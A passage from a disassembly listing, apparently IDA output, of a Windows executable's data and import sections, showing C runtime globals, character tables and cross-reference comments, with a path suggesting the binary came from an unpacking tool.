		dd 0FFFFFFFFh, 2 dup(0)
		dd 0FFFFFFFFh, 1Eh, 3Bh, 5Ah, 78h, 97h,	0B5h, 0D4h, 0F3h
		dd 111h, 130h, 14Eh, 16Dh, 0FFFFFFFFh, 1Eh, 3Ah, 59h, 77h
		dd 96h,	0B4h, 0D3h, 0F2h, 110h,	12Fh, 14Dh, 16Ch, 6 dup(0)
; char *dword_408960
dword_408960	dd 0			; DATA XREF: start+115w
					; __setenvp:loc_4018C8r ...
		align 8
dword_408968	dd 0			; DATA XREF: __amsg_exitr
					; _fast_error_exitr ...
		align 10h
dword_408970	dd 2			; DATA XREF: start+29w	___heap_selectr ...
dword_408974	dd 0A28h		; DATA XREF: start+49w	start+5Aw
dword_408978	dd 501h			; DATA XREF: start+65w
dword_40897C	dd 5			; DATA XREF: start+32w
					; ___heap_select+9r ...
dword_408980	dd 1			; DATA XREF: start+3Aw
dword_408984	dd 1			; DATA XREF: __setargv+8Fw
dword_408988	dd 3229A0h		; DATA XREF: __setargv+95w
		align 10h
; void *dword_408990
dword_408990	dd 3229C0h		; DATA XREF: __setenvp+48w
					; __setenvp:loc_401967r ...
		align 10h
off_4089A0	dd offset aCM_unpackerPac ; DATA XREF: __setargv+37w
					; "C:\\m_unpacker\\packed.exe"
		align 8
byte_4089A8	db 0			; DATA XREF: _doexit+3Dw
		align 4
dword_4089AC	dd 1			; DATA XREF: _doexit:loc_401476w
dword_4089B0	dd 1			; DATA XREF: _doexit+1Cr _doexit+9Cw
dword_4089B4	dd 0			; DATA XREF: __FF_MSGBANNER+21r
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: __setargv+1Co
					; .data:off_4089A0o
		align 4
		dd 3Ah dup(0)
byte_408ABC	db 0			; DATA XREF: __setargv+23w
		align 10h
dword_408AC0	dd 1			; DATA XREF: ___crtGetEnvironmentStringsA+2r
					; ___crtGetEnvironmentStringsA+24w ...
off_408AC4	dd offset sub_401F33	; DATA XREF: __mtinit+38w __mtinit+80w ...
dword_408AC8	dd 77E78B61h		; DATA XREF: __getptd+10r __mtinit+45w ...
dword_408ACC	dd 77E79B39h		; DATA XREF: __getptd+37r __mtinit+52w ...
dword_408AD0	dd 77E72B29h		; DATA XREF: __mtterm+Br __mtinit+60w	...
		align 8
dword_408AD8	dd 77FC56E0h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF:	__mtinitlocks+4o
					; .data:off_4081F0o
dword_408AF0	dd 77FC5700h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF:	.data:004081F8o
dword_408B08	dd 77FC5720h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF:	.data:00408208o
		dd 77FC5740h, 0FFFFFFFFh, 4 dup(0)
dword_408B38	dd 77FC5760h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF:	.data:00408220o
		dd 77FC5780h, 0FFFFFFFFh, 4 dup(0)
		dd 77FC57A0h, 0
		dd 1, 0DCh, 2 dup(0)
dword_408B80	dd 77FC57C0h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF:	.data:00408240o
dword_408B98	dd 77FC57E0h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF:	.data:00408250o
		dd 77FC5800h, 0FFFFFFFFh, 4 dup(0)
		dd 77FC5820h, 0FFFFFFFFh, 4 dup(0)
dword_408BE0	dd 77FC5840h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF:	.data:00408270o
		dd 77FC5860h, 0FFFFFFFFh, 4 dup(0)
		dd 77FC5880h, 0FFFFFFFFh, 4 dup(0)
dword_408C28	dd 0			; DATA XREF: ___crtMessageBoxA+9r
					; ___crtMessageBoxA+38w ...
dword_408C2C	dd 0			; DATA XREF: ___crtMessageBoxA+4Dw
					; ___crtMessageBoxA:loc_402748r
dword_408C30	dd 0			; DATA XREF: ___crtMessageBoxA+5Bw
					; ___crtMessageBoxA+D6r
dword_408C34	dd 0			; DATA XREF: ___crtMessageBoxA+7Bw
					; ___crtMessageBoxA:loc_402703r
dword_408C38	dd 0			; DATA XREF: ___crtMessageBoxA+6Cw
					; ___crtMessageBoxA+9Cr
dword_408C3C	dd 1			; DATA XREF: __setmbcp_lk:loc_402E0Cr
					; __setmbcp+1Dw ...
dword_408C40	dd 77E7C706h		; DATA XREF: ___crtInitCritSecAndSpinCount+Cr
					; ___crtInitCritSecAndSpinCount+39w ...
		align 10h
dword_408C50	dd 0			; DATA XREF: __ValidateEH3RN:loc_4043C9r
					; __ValidateEH3RN+13Fr	...
		align 8
dword_408C58	dd 0			; DATA XREF: __ValidateEH3RN:loc_4043DCr
					; __ValidateEH3RN+1C4r	...
		dd 0Fh dup(0)
dword_408C98	dd 0			; DATA XREF: __ValidateEH3RN+12Co
					; __ValidateEH3RN+191o	...
dword_408C9C	dd 0			; DATA XREF: ___security_error_handler+17r
		dd 2 dup(0)
dword_408CA8	dd 0			; DATA XREF: ___crtLCMapStringA+265r
					; ___crtGetStringTypeA+14Ar
		dd 3 dup(0)
dword_408CB8	dd 0			; DATA XREF: __setmbcp+63r
					; ___crtLCMapStringA+9Dr ...
		align 10h
dword_408CC0	dd 1			; DATA XREF: ___crtLCMapStringA+Er
					; ___crtLCMapStringA+31w ...
dword_408CC4	dd 1			; DATA XREF: ___crtGetStringTypeA+Er
					; ___crtGetStringTypeA+2Ew ...
dword_408CC8	dd 0			; DATA XREF: __callnewhr
dword_408CCC	dd 0			; DATA XREF: _mallocr _calloc+8Er ...
dword_408CD0	dd 0			; DATA XREF: .data:off_4087F0o
					; .data:off_4087F4o ...
dword_408CD4	dd 0			; DATA XREF: ___freetlocinfo+A2r
dword_408CD8	dd 0			; DATA XREF: ___freetlocinfo+Br
		dd 46h dup(0)
dword_408DF4	dd 0			; DATA XREF: ___freetlocinfo+79r
dword_408DF8	dd 0			; DATA XREF: ___freetlocinfo+29r
dword_408DFC	dd 0			; DATA XREF: ___freetlocinfo+4Cr
; void *dword_408E00
dword_408E00	dd 0			; DATA XREF: ___sbh_heap_init+21w
					; ___sbh_free_block+21Cr ...
dword_408E04	dd 0			; DATA XREF: ___sbh_heap_init+28w
					; ___sbh_find_blockr ...
dword_408E08	dd 0			; DATA XREF: ___sbh_heap_init+15w
					; ___sbh_find_block+8r	...
dword_408E0C	dd 0			; DATA XREF: __heap_alloc+18r
					; _calloc+3Ar ...
dword_408E10	dd 0			; DATA XREF: ___sbh_heap_init+2Fw
					; ___sbh_free_block+300w ...
dword_408E14	dd 0			; DATA XREF: ___sbh_heap_init+3Cw
					; ___sbh_alloc_new_region+5r ...
dword_408E18	dd 0			; DATA XREF: ___sbh_free_block+229r
					; ___sbh_free_block+249r ...
; int dword_408E1C
dword_408E1C	dd 0			; DATA XREF: _setSBCS+1Aw
					; _setSBUpLow+84r ...
; void *dword_408E20
dword_408E20	dd 322778h		; DATA XREF: _freefls(x)+97r
					; __setmbcp+77r ...
dword_408E24	dd 0			; DATA XREF: _setSBCS+15w
					; __setmbcp_lk+F2w ...
		dd 6 dup(0)
byte_408E40	db 0			; DATA XREF: _setSBCS+6o
					; __setmbcp_lk+52o ...
byte_408E41	db 0			; DATA XREF: _parse_cmdline+47r
					; _parse_cmdline+11Dr ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
; int dword_408F44
dword_408F44	dd 4E4h			; DATA XREF: _setSBCS+10w
					; _setSBUpLow+16r ...
		align 10h
word_408F50	dw 0			; DATA XREF: _setSBCS+1Fo
					; __setmbcp_lk+109o ...
		align 10h
byte_408F60	db 0			; DATA XREF: _setSBUpLow:loc_402C28w
					; _setSBUpLow:loc_402C45w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
dword_409060	dd 320000h		; DATA XREF: __heap_init+19w
					; __heap_init+3Er ...
dword_409064	dd 1			; DATA XREF: __heap_init+28w _free+13r ...
dword_409068	dd 20h			; DATA XREF: __ioinit+21w
					; __ioinit:loc_401D3Fr	...
		dd 5 dup(0)
dword_409080	dd 321F28h		; DATA XREF: __ioinit:loc_401CC9w
					; __ioinit+42r	...
dword_409084	dd 3Fh dup(0)		; DATA XREF: __ioinit+9Ao
dword_409180	dd 1			; DATA XREF: __setenvp+9Fw
dword_409184	dd 322EF4h		; DATA XREF: _doexit:loc_401491r
					; _doexit+57w ...
; void *dword_409188
dword_409188	dd 322EF8h		; DATA XREF: _doexit+47r _doexit+5Cr ...
dword_40918C	dd 1			; DATA XREF: __wincmdln+4r
					; __setenvp+3r	...
dword_409190	dd 0			; DATA XREF: __cinitr
dword_409194	dd 142340h		; DATA XREF: start+10Bw
					; __wincmdln:loc_40186Ar ...
_data		ends

; Section 4. (virtual address 0000A000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00009200
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 40A000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start